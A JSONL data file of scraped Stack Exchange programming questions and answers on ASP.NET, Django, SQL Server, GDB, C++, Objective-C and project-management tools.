{"id": "hf_458e010e49da", "question": "<p>How can I use Hyperlink button in gridview. I mean when I run my program,all data is displayed in gridview,but I want hyperlink in gridview, so that when I will click in hyperlink it will show the select path which is in gridview : if there is pdf file path and I just click on this hyper link then I can see the pdf file.</p>\n\n<p>Can you tell me how can I do this? </p>\n", "question_body": "", "answer": "You need to use a template field. e.g. lets say you're column is called 'PdfUrl'\nThen add a column to your datagrid. that looks like\n```\n```\n<asp:TemplateField HeaderText=\"Link\" SortExpression=\"PdfUrl\">\n    <itemtemplate>\n        <asp:HyperLink runat=\"server\" ID=\"hlkPDF\" NavigateURL='<%# DataBinder.Eval(Container.DataItem, \"PdfUrl\") %>' />\n    </itemtemplate>\n</asp:TemplateField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.273117"}
{"id": "hf_f5b7718ef257", "question": "<p>I would like to hear some opinions about using the isolated storage in Silverlight for storing sensitive data. For example, is it OK to store an authentication token (some GUID that identifies a server-side session) in this storage, or is it better to use cookies?</p>\n\n<p>The isolated storage gives an advantage over cookies in that it is shared across browsers, but it might be more difficult to handle expiry, and there might be some other issues (security?) that I am not aware of.</p>\n\n<p>So... what are your opinions? Or do you know any great articles about the topic?</p>\n\n<p>Thanks, Jacob</p>\n", "question_body": "", "answer": "I have a similar situation here, though I use MySQL. Every database has a versions table that contains the version (simply an integer) and a short comment of what has changed in this version. I use a script to update the databases. Every database change can be in one function or sometimes one change is made by multiple functions. Functions contain the version number in the function name. The script looks up the highest version number in a database and applies only the functions that have a higher version number in order.\nThis makes it easy to update databases (just add new change functions) and allows me to quickly upgrade a recovered database if necessary (just run the script again).\nEven when testing the changes before this allows for defensive changes. If you make some heavy changes on a table and you want to play it safe:\n```\n```\ndef change103(...):\n    \"Create new table.\"\ndef change104(...):\n    \"\"\"Transfer data from old table to new table and make\n       complicated changes in the process.\n    \"\"\"\ndef change105(...):\n    \"Drop old table\"\ndef change106(...):\n    \"Rename new table to old table\"\n```\n```\nif in change104() is something going wrong (and throws an exception) you can simply delete the already converted data from the new table, fix your change function and run the script again.\nBut I don't think that changing a database dynamically when a client connects is a good idea. Sometimes changes can take some time. And the software that accesses a database should match the schema of the database. You have somehow to keep them in sync. Maybe you could distribute a new software version and then you want to upgrade the database when a client is actually starting to use this new software. But I haven't tried that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.309052"}
{"id": "hf_023e88e32554", "question": "<p>How can I create a query for a full outer join across a M2M relationchip using the django QuerySet API?</p>\n\n<p>It that is not supported, some hint about creating my own manager to do this would be welcome.</p>\n\n<p><strong>Edited to add:</strong>\n@S.Lott:\nThanks for the enlightenment. \nThe need for the OUTER JOIN comes from the application. It has to generate a report showing the data entered, even if it still incomplete.\nI was not aware of the fact that the result would be a new class/model. Your hints will help me quite a bit.</p>\n", "question_body": "", "answer": "Django doesn't support \"joins\" in the usual SQL sense -- it supports object navigation.\nNote that a relational join (inner or outer) creates a new \"class\" of entities.  One that doesn't have a definition in Django.  So there's no proper \"result set\" since there's no class definition for the things you get back.   The best you can do is define a tuple which will be packed with None's for missing combinations.\nA left (or right) outer join looks like this.  It creates two disjoint subsets, those who have an associated set of related entities, and those who don't.\n```\n```\nfor obj in Model1.objects.all():\n    if obj.model2_set().count() == 0:\n        # process (obj, None) -- no Model2 association\n    else:\n        for obj2 in obj.model2_set.all():\n            # process (obj, obj2) -- the \"inner join\" result\n```\n```\nA \"Full\" outer join is a union of the remaining items that have no relationships.\n```\n```\nfor obj2 in Model2.objects.all():\n    if obj2.model1_set().count() == 0:\n        # process (None, obj2) -- no Model1 association\n```\n```\nThe issue is always, what processing are you doing with this weird collection of three different subsets of objects?\nThe point of an object database is to focus the processing on the object and it's associated objects.\nThe peculiar collection called a \"relational join\" is never in the original object model.  It's a new class of objects built from two (or more) original objects.\nWorse, outer joins create a collection with multiple subclasses (inner join, left outer join and right outer join).  What does that collection of things\nmean\n?\nWait, it can get worse.  If the processing includes checks for the missing attributes (i.e.\n```\nif someObj.anObj2attribute is None\n```\n: we're essentially looking for\n```\nModel1\n```\nitems with no\n```\nModel2\n```\nobject associated.  Ummm... why did we put those in the outer join, only to filter them using an\n```\nif\n```\nstatement?  Why not just do separate queries amd process each subset properly?\nEdit:  When you're showing \"incomplete\" status, it isn't an outer-join at all.  It's much simpler.  You need to create one (or two) separate collections in your view function for your template to display.\nFirst, you should use status codes, not the presence or absence of a foreign key.  Optional foreign keys don't have \"reasons\" -- they're either there or not there.  A status code can provide useful shades of meaning (\"incomplete\", \"in error\", \"broken\", \"not applicable\", \"to be deleted\", etc.)\n```\n```\nerrorList1 = Model1.objects.filter( status=\"Incomplete\" )\nerrorList2 = Model2.objects.filter( status=\"Incomplete\" )\n```\n```\nThese two are the two non-join parts of a full outer join.  You can then display these two error lists in your template with appropriate column titles and status codes and everything.\nYou can even put them into a single table to mimic the old full outer join report people used to see\n```\n```\n<table>\n    <tr><th>Model1</th><th>Model2</th></tr>\n    {% for e1 in errorList1 %}\n    <tr><td>e1</td><td>NULL</td></tr>\n    {% endfor %}\n    {% for e2 in errorList2 %}\n    <tr><td>NULL</td><td>e2</td></tr>\n    {% endfor %}\n</table>\n```\n```\nLooks like a full outer join report.  Without the full outer join.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.332510"}
{"id": "hf_45df46b1ed84", "question": "<p>How to get all the database names and corresponding table names together ?</p>\n", "question_body": "", "answer": "You will have to write a store procedure.\nFirst get the database name\n```\n```\nSELECT Name FROM master.sys.databases\n```\n```\nFor each database\n```\n```\nSELECT %DatabaseName%, Name FROM %DatabaseName%.SysObjects WHERE type = 'U'\n```\n```\nEdit here's the store procedure\n```\n```\nCREATE PROCEDURE sp_GetDatabasesTables \nAS\nBEGIN\n-- SET NOCOUNT ON added to prevent extra result sets from\n-- interfering with SELECT statements.\nSET NOCOUNT ON;\nCREATE TABLE #schema ( DatabaseName VarChar(50), TableName VarChar(50) );\nDECLARE @DatabaseName varchar(50);\nDECLARE cursorDatabase CURSOR FOR\n    SELECT Name FROM master.sys.databases WHERE Name NOT IN ('tempdb'); -- add any table you want to filter here\n\nOPEN cursorDatabase;\n\n-- Perform the first fetch.\nFETCH NEXT FROM cursorDatabase INTO @DatabaseName;\n\n-- Check @@FETCH_STATUS to see if there are any more rows to fetch.\nWHILE @@FETCH_STATUS = 0\nBEGIN\n    EXEC ('INSERT INTO #schema (DatabaseName, TableName) SELECT ''' + @DatabaseName + ''' AS DatabaseName, Name As TableName FROM ' + @DatabaseName + '.sys.SysObjects WHERE type = ''U'';');\n    FETCH NEXT FROM cursorDatabase INTO @DatabaseName;\nEND\n\nCLOSE cursorDatabase;\nDEALLOCATE cursorDatabase;\nSELECT * FROM #schema\nEND\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.381771"}
{"id": "hf_05438664de7c", "question": "<p>In my Direct3D application, the camera can be moved using the mouse or arrow keys. But if I hard code (0,1,0) as the up direction vector in <code>LookAtLH</code>, the frame goes blank at some orientations of the camera.</p>\n\n<p>I just learned the hard way that when looking along the Y-axis, (0,1,0) no longer works as the Up direction (seems obvious?). I am thinking of switching my up direction to something else for each of these special cases. Is there a more graceful way to handle this?</p>\n", "question_body": "", "answer": "Assuming you can calculate a vector pointing forward (what you are looking at - your position) and a vector pointing right (always on the XZ-plane unless you can roll). Normalize both these vectors, then up is forward x right (where x is cross product).\nIn general, you can plug in your yaw, pitch and roll into a rotation matrix and rotate the axis vectors to get right, up and forward, but I guess that's what you are using LookAtLH to avoid.\nSee\nhttp://en.wikipedia.org/wiki/Rotation_matrix#The_3-dimensional_rotation_matricies", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.406133"}
{"id": "hf_7d7c019449e8", "question": "<p>I used a class which derives from <code>CListBox</code>, and create it with following:</p>\n\n<pre><code>style:WS_CHILD|WS_VISIBLE |LBS_OWNERDRAWFIXED | WS_VSCROLL | WS_HSCROLL\n</code></pre>\n\n<p>I expect the ListBox's item to be have a fixed size, not affected by the size of the list box. So I override the MeasureItem() method, in which I specify the item's size like below:</p>\n\n<pre><code>void CMyListBox::MeasureItem(LPMEASUREITEMSTRUCT lpMIS)\n{\n    lpMIS-&gt;itemHeight = ALBUM_ITEM_HEIGHT;\n    lpMIS-&gt;itemWidth = ALBUM_ITEM_WIDTH;\n}\n</code></pre>\n\n<p>But the item's size changes according to the List box's size changing. is there anything wrong with my approach?</p>\n", "question_body": "", "answer": "If you look at the\n```\nMSDN\n```\nentry for\n```\nCListBox::MeasureItem\n```\nyou'll see that it's only called once unless the\n```\nLBS_OWNERDRAWVARIABLE\n```\n(not\n```\nLBS_OWNERDRAWFIXED\n```\n) style is set. If I understand correctly then this would explain the behaviour you're seeing because\n```\nMeasureItem\n```\nwould need to be called each time the control's size changes.\nAlso, have you considered the points made in\nMFC Technical Note 14 : Custom Controls\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.455043"}
{"id": "hf_2367b571cfbf", "question": "<p>I am generating the json from PHP.</p>\n", "question_body": "", "answer": "The correct way is to use\njson_encode()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.491564"}
{"id": "hf_d7f4e3b1a6b6", "question": "<p>I've been teaching myself Objective-C over the past month or so (I'm a Java head) and I've got my brain wrapped around most of it now. One thing that's confusing me at the moment: What's the difference between importing a class via @class vs doing a #import? </p>\n\n<p>Is one better than another one, or do I need to use one instead of the other in certain cases? I've been using just #import so far.</p>\n", "question_body": "", "answer": "```\n#import\n```\nbrings the entire header file in question into the current file; any files that THAT file\n```\n#import\n```\ns are also included. @class, on the other hand (when used on a line by itself with some class names), just tells the compiler \"Hey, you're going to see a new token soon; it's a class, so treat it that way).\nThis is very useful when you've got the potential for 'circular includes'; ie, Object1.h makes reference to Object2, and Object2.h makes reference to Object1. If you\n```\n#import\n```\nboth files into the other, the compiler can get confused as it tries to\n```\n#import\n```\nObject1.h, looks in it and sees Object2.h; it tries to\n```\n#import\n```\nObject2.h, and sees Object1.h, etc.\nIf, on the other hand, each of those files has\n```\n@class Object1;\n```\nor\n```\n@class Object2;\n```\n, then there's no circular reference. Just be sure to actually\n```\n#import\n```\nthe required headers into your implementation (.m) files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.551250"}
{"id": "hf_3ffd3a00c053", "question": "<p>Any ideas on how to disable, but not uninstall Resharper 4.x or above?</p>\n", "question_body": "", "answer": "You can disable ReSharper 4 and lower using the Visual Studio Add-In Manager (remove the check from check box on the left).\nIn ReSharper 5 and above (tested up to version 7.0.1),\nthis is how you can suspend\nReSharper from the Tools > Options > Resharper", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.596932"}
{"id": "hf_a1cce5984c24", "question": "<p>I want to examine the contents of a <code>std::vector</code> in GDB, how do I do it?  Let's say it's a <code>std::vector&lt;int&gt;</code> for the sake of simplicity.</p>\n", "question_body": "", "answer": "With GCC 4.1.2, to print the whole of a std::vector<int> called myVector, do the following:\n```\n```\nprint *(myVector._M_impl._M_start)@myVector.size()\n```\n```\nTo print only the first N elements, do:\n```\n```\nprint *(myVector._M_impl._M_start)@N\n```\n```\nExplanation\nThis is probably heavily dependent on your compiler version, but for GCC 4.1.2, the pointer to the internal array is:\n```\n```\nmyVector._M_impl._M_start\n```\n```\nAnd the GDB command to print N elements of an array starting at pointer P is:\n```\n```\nprint P@N\n```\n```\nOr, in a short form (for a standard .gdbinit):\n```\n```\np P@N\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.654342"}
{"id": "hf_797713f689bf", "question": "<p>I've decided to integrate NUnit with VWD2008.</p>\n\n<p>I did the following-\n1) Installed NUnit - Ran a Sample project that was included with the installation all the tests were fine.\n2) Installed TestDriven.Net 2.0 - Personal distribution.\n3) I have written on an MVC Project a test and when I try to right click the context and run the Test it fails.\nIn addition I had to add reference the NUnit.framework dll in order to write the tests.</p>\n\n<p>What have I done wrong?</p>\n", "question_body": "", "answer": "Testdriven.Net doesn't work with the express editions of visual studio. Previous versions of Testdriven.Net did work with the Visual Studio Express editions but Microsoft didn't like that and put their lawyers on it.\nhttp://weblogs.asp.net/nunitaddin/archive/2007/07/06/microsoft-amp-testdriven-net.aspx\nYou could try sharpdevelop if you want a free ide with unit-testing support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.677822"}
{"id": "hf_16052034110b", "question": "<p>In CSS, you can specify the spacing between table cells using the border-spacing property of a table.</p>\n\n<p>However, this results in uniform spacing between columns and rows, and I am finding more situations where the designs I am using call for gaps between rows, but not columns, or visa versa.</p>\n\n<p>If I have a solid background, I can simulate spacing using borders the same colour as the background colour.</p>\n\n<p>I could also make a div (for example) the first child of every table cell, and using either padding or margins to get the desired results, but that is a lot of extra markup just to accommodate the style.</p>\n\n<p>Given that that the data I am displaying is tabular data, is there a sensible way to achieve this style using tables?</p>\n", "question_body": "", "answer": "You\ncan\nspecify different spacings for horizontal and vertical edges for\n```\nborder-spacing\n```\nor related properties. Just specify more than one measurement. e.g.,\n```\n```\nborder-spacing: 1px 2px;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.701654"}
{"id": "hf_1b43234c8316", "question": "<p>Does anyone know how I can add a class to the link rendered using the Html.RouteLink helper method in ASP.Net MVC, it has the htmlAttributes object as the last parameter which I assumed I would be able to use, but since class is obviously a reserved word, I cannot supply this as one of the properties on the object.</p>\n", "question_body": "", "answer": "Just use uppercase for html attribute, like this:\n```\n```\n<%= Html.RouteLink(\"Default\", \"Default\",null, new { Class=\"css_class\"}) %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.726037"}
{"id": "hf_8087c205dd13", "question": "<p>Having a bit of trouble with the syntax where we want to call a delegate anonymously within a Control.Invoke.</p>\n\n<p>We have tried a number of different approaches, all to no avail.</p>\n\n<p>For example:</p>\n\n<pre><code>myControl.Invoke(delegate() { MyMethod(this, new MyEventArgs(someParameter)); }); \n</code></pre>\n\n<p>where someParameter is local to this method</p>\n\n<p>The above will result in a compiler error:</p>\n\n<blockquote>\n  <p>Cannot convert anonymous method to type 'System.Delegate' because it is not a delegate type</p>\n</blockquote>\n", "question_body": "", "answer": "```\n```\nmyControl.Invoke(new MethodInvoker(delegate() {...}))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.756425"}
{"id": "hf_7c0b82c0d98c", "question": "<p>I'd like to post some form variables into a classic ASP page. I don't want to have to alter the classic ASP pages, because of the amount of work that would need to be done, and the amount of pages that consume them.</p>\n\n<p>The classic ASP page expects form variables Username and Userpassword to be submitted to them.</p>\n\n<pre><code>username = Request.Form(\"UserName\")\nuserpassword = Request.Form(\"Userpassword\")\n</code></pre>\n\n<p>It then performs various actions and sets up sessions, going into an ASP application.</p>\n\n<p>I want to submit these variables into the page from ASP.NET, but the login control is nested inside usercontrols and templates, so I can't get the form element's names to be \"username\" and \"UserPassword\".</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "I found this on\nanother site\n.\nI will build up a small form with just the variables you want, and output it to the client and submit itself. It's pretty neat, but it comes with the problem of breaking the back button, and sending the password back to the client in a form unencrypted.\n```\n```\npublic class  RemotePost{\n     private  System.Collections.Specialized.NameValueCollection Inputs \n     = new  System.Collections.Specialized.NameValueCollection() ;\n\n    public string  Url  =  \"\" ;\n    public string  Method  =  \"post\" ;\n    public string  FormName  =  \"form1\" ;\n\n    public void  Add( string  name, string value ){\n        Inputs.Add(name, value ) ;\n     }\n\n     public void  Post(){\n        System.Web.HttpContext.Current.Response.Clear() ;\n\n         System.Web.HttpContext.Current.Response.Write( \"<html><head>\" ) ;\n\n         System.Web.HttpContext.Current.Response.Write( string .Format( \"</head><body onload=\\\"document.{0}.submit()\\\">\" ,FormName)) ;\n\n         System.Web.HttpContext.Current.Response.Write( string .Format( \"<form name=\\\"{0}\\\" method=\\\"{1}\\\" action=\\\"{2}\\\" >\" ,\n\n        FormName,Method,Url)) ;\n            for ( int  i = 0 ; i< Inputs.Keys.Count ; i++){\n            System.Web.HttpContext.Current.Response.Write( string .Format( \"<input name=\\\"{0}\\\" type=\\\"hidden\\\" value=\\\"{1}\\\">\" ,Inputs.Keys[i],Inputs[Inputs.Keys[i]])) ;\n         }\n        System.Web.HttpContext.Current.Response.Write( \"</form>\" ) ;\n         System.Web.HttpContext.Current.Response.Write( \"</body></html>\" ) ;\n         System.Web.HttpContext.Current.Response.End() ;\n     }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.780163"}
{"id": "hf_09352edc7819", "question": "<p>Is there a way to resize a <code>std::vector</code> to lower capacity when I no longer need previously reserved space?</p>\n", "question_body": "", "answer": "Effective STL, by Scott Meyers, Item 17: Use the\n```\nswap\n```\ntrick to trim excess capacity.\n```\n```\nvector<Person>(persons).swap(persons);\n```\n```\nAfter that,\n```\npersons\n```\nis \"shrunk to fit\".\nThis relies on the fact that\n```\nvector\n```\n's copy constructor allocates only as much as memory as needed for the elements being copied.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.804741"}
{"id": "hf_f3052995b2e0", "question": "<p>Can anyone give me pointers to good books or web sites that teach how to do Flex programming?</p>\n", "question_body": "", "answer": "Check out\nTen Great Ways to Learn Flex\n, but I think number one should be to use the\nQuickstarts on the Adobe Site\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.828524"}
{"id": "hf_371c80693415", "question": "<p>pl give vb code for custom paging and sorting in asp:repeater using stored procedure</p>\n", "question_body": "", "answer": "Here is step\none\nand\ntwo\nfrom 4guys that gives a very clear explanation along with zip download available of all code in VB and sample t-sql too.\nIt deals with ObjectDataSource  from which then it should be straigtforward enough to bind your repeater to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.888134"}
{"id": "hf_4a142de8929b", "question": "<p>I have now 1gb ram at work(i hope that will change soon) and jboss takes almost half of it and that is too much, i turned off logging to file, what more can i do to reduce memory usage ?</p>\n", "question_body": "", "answer": "Which configuration are you using? JBoss comes with 3\nstandard server configurations\nThe\nminimal\nconfiguration starts the core server container without any of the enterprise services. It is a good starting point if you want to build a customized version of JBoss AS that only contains the services you need.\nThe\ndefault\nconfiguration is the mostly common used configuration for application developers. It supports the standard J2EE 1.4 and most of the Java EE 5.0 programming APIs (e.g., JSF and EJB3).\nThe\nall\nconfiguration is the default configuration with clustering support and other enterprise extensions.\nIf you only want a specific subset of JBoss services, then start with the minimal?\nOr you can\nconfigure your own\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.912866"}
{"id": "hf_1150924b118e", "question": "<p>Has anyone managed to get subsonic or a variant working on Windows Mobile? We cant get it to work as it has a dependency on System.Configuration.</p>\n\n<p>Any suggestions on an alternate ORMs that would work on a windows mobile device?</p>\n", "question_body": "", "answer": "Is the System.Configuration dependency the only issue?  If so, you could always try to get around it by adding that capability.  For example\nOpenNETCF's SDF\nhas an OpenNETCF.Configuration namespace that mirrors a lot of the System.Configuration namespace.  You might be able to eitehr modify subsonic to use that namespace, or modify and recompile the SDF's assembly to use System.Configuration as a namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.960961"}
{"id": "hf_dc8702174aab", "question": "<p>How are assertions done in c++? Example code is appreciated.</p>\n", "question_body": "", "answer": "Assertion are boolean expressions which should typically always be true.\nThey are used to ensure what you expected is also what happens.\n```\n```\nvoid some_function(int age)\n{\n     assert(age > 0);\n}\n```\n```\nYou wrote the function to deal with ages, you also 'know' for sure you're always passing sensible arguments, then you use an assert. It's like saying \"I know this can never go wrong, but if it does, I want to know\", because, well, everyone makes mistakes.\nSo it's not to check for sensible user input, if there are scenario's where something can go wrong, don't use an assert. Do real checks and deal with the errors.\nAsserts are typically only for debug builds, so don't put code with side effects in asserts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:49.999945"}
{"id": "hf_54032009749a", "question": "<p>I have an interface - here's a nicely contrived version as an example:</p>\n\n<pre><code>public interface Particle {\n\n    enum Charge {\n        POSITIVE, NEGATIVE\n    }\n\n    Charge getCharge();\n\n    double getMass();\n\n    etc...\n}\n</code></pre>\n\n<p>Is there any difference in how implementations of this would behave if I defined the <code>Charge</code> enum as static - i.e. does this have any effect:</p>\n\n<pre><code>public interface Particle {\n\n    static enum Charge {\n        POSITIVE, NEGATIVE\n    }\n\n    Charge getCharge();\n\n    double getMass();\n\n    etc...\n}\n</code></pre>\n", "question_body": "", "answer": "No, it makes no difference. From the\nlanguage spec, section 9.5\n:\nInterfaces may contain member type\n  declarations (\n§8.5\n). A member type\n  declaration in an interface is\n  implicitly\n```\nstatic\n```\nand\n```\npublic\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.023527"}
{"id": "hf_a47ece2b7f97", "question": "<p>I have a query where i have a date column (time) which tells about \"IN\" &amp; \"OUT\" timing of the people attendance by this single column</p>\n\n<p>My queries are :-</p>\n\n<p>1) How to get the daily attendance of each employee\n2) How to come to know if the employee is present less than 5 hours</p>\n\n<p>Please let me know the queries in SQL server.</p>\n", "question_body": "", "answer": "```\n```\nselect \n      datediff(minute, TimeFrom, TimeTo) as AttendedTimeInMinutes,\n      case when datediff(minute, sTimeFrom, sTimeTo) < 5 * 60 \n         then \n          'less than 5 hours' \n         else '5 hours or more' \n      end\n   from YourTable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.071577"}
{"id": "hf_d09b0fab8327", "question": "<p>Yesterday I was having a heated debate with a coworker on what would be the preferred error reporting method. Mainly we were discussing the usage of exceptions or error codes for reporting errors between application layers or modules.</p>\n\n<p><strong>What rules do you use to decide if you throw exceptions or return error codes for error reporting?</strong></p>\n", "question_body": "", "answer": "I normally prefer exceptions, because they have more contextual information and can convey (when properly used) the error to the programmer in a clearer fashion.\nOn the other hand, error codes are more lightweight than exceptions but are harder to maintain. Error checking can inadvertently be omitted. Error codes are harder to maintain because you have to keep a catalog with all error codes and then switch on the result to see what error was thrown. Error ranges can be of help here, because if the only thing we are interested in is if we are in the presence of an error or not, it is simpler to check (e.g., an HRESULT error code greater or equal to 0 is success and less than zero is failure). They can inadvertently be omitted because there is no programmatic forcing that the developer will check for error codes. On the other hand, you cannot ignore exceptions.\nTo summarize I prefer exceptions over error codes in almost all situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.175781"}
{"id": "hf_428c476234f5", "question": "<p>I need a smart way to get the data types out of INFORMATION_SCHEMA.COLUMNS in a way that could be used in a CREATE TABLE statement.  The problem is the 'extra' fields that need to be understood, such as NUMERIC<code>_</code>PRECISION and NUMERIC<code>_</code>SCALE.</p>\n\n<p>Obviously, I can ignore the columns for INTEGER (precision of 10 and scale of 0), but there are other types I would be interested in, such as NUMERIC.  So without writing lots of code to parse the table, any ideas on how to get a sort of field shorthand out of the column definition?</p>\n\n<p>I would like to be able to get something like :\nint,\ndatetime,\nmoney,\nnumeric**(10,2)**</p>\n", "question_body": "", "answer": "SMO Scripting should take care of the script generations. I believe that this is what MS uses in SQL Management Studio for script generations.\nhttp://msdn.microsoft.com/en-us/library/ms162153.aspx\n@YourComment -\n```\nI need a smart way to get the data types out of INFORMATION_SCHEMA.COLUMNS in a way that could be used in a CREATE TABLE statement\n```\nThis is what you asked for. Short of that, you will have to parse the info schema view results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.202087"}
{"id": "hf_172cae390092", "question": "<p>I am writing a Java Application for Data Entry using Eclipse and SWT. Naturally it has a great many Text objects. </p>\n\n<p>What I would like to happen is that when user enters something into one field focus automatically changes to the next field.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "```\n```\nfinal Text textBox = new Text(shell, SWT.NONE);\ntextBox.addKeyListener(new KeyAdapter() {\n    public void keyPressed(KeyEvent e) {\n        if (x.getText().length() == 1); {\n            x.traverse(SWT.TRAVERSE_TAB_NEXT);\n        }\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:50.238306"}
{"id": "hf_464c982ec2ba", "question": "<p>Can anyone suggest which of the Redmine or Tracd would be a better option for project management? Currently I am planning to deploy it on a one project setup but plan to use it across multiple projects in the fututre. Which of the two is easier to deploy? I use windows. Any other software which is web based and comes with its own web server?</p>\n\n<p>Thanks...</p>\n", "question_body": "", "answer": "If you plan to do multi-project management in the future, choose redmine. With trac you can have multi-project setups as well (having a separate environment for each project), but in the end it's a workaround. Redmine has builtin support for multi-project environments.\nI previously used trac to manage my projects, but I switched to redmine. I didn't find any effective way of importing all my tickets and wiki pages. Redmine uses textile markup, but trac uses markdown, so I had a couple of troubles there.\nFinally, I heard that redmine has some some issues on windows. I haven't tried running redmine on that platform so you'd better give it a try or google around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, 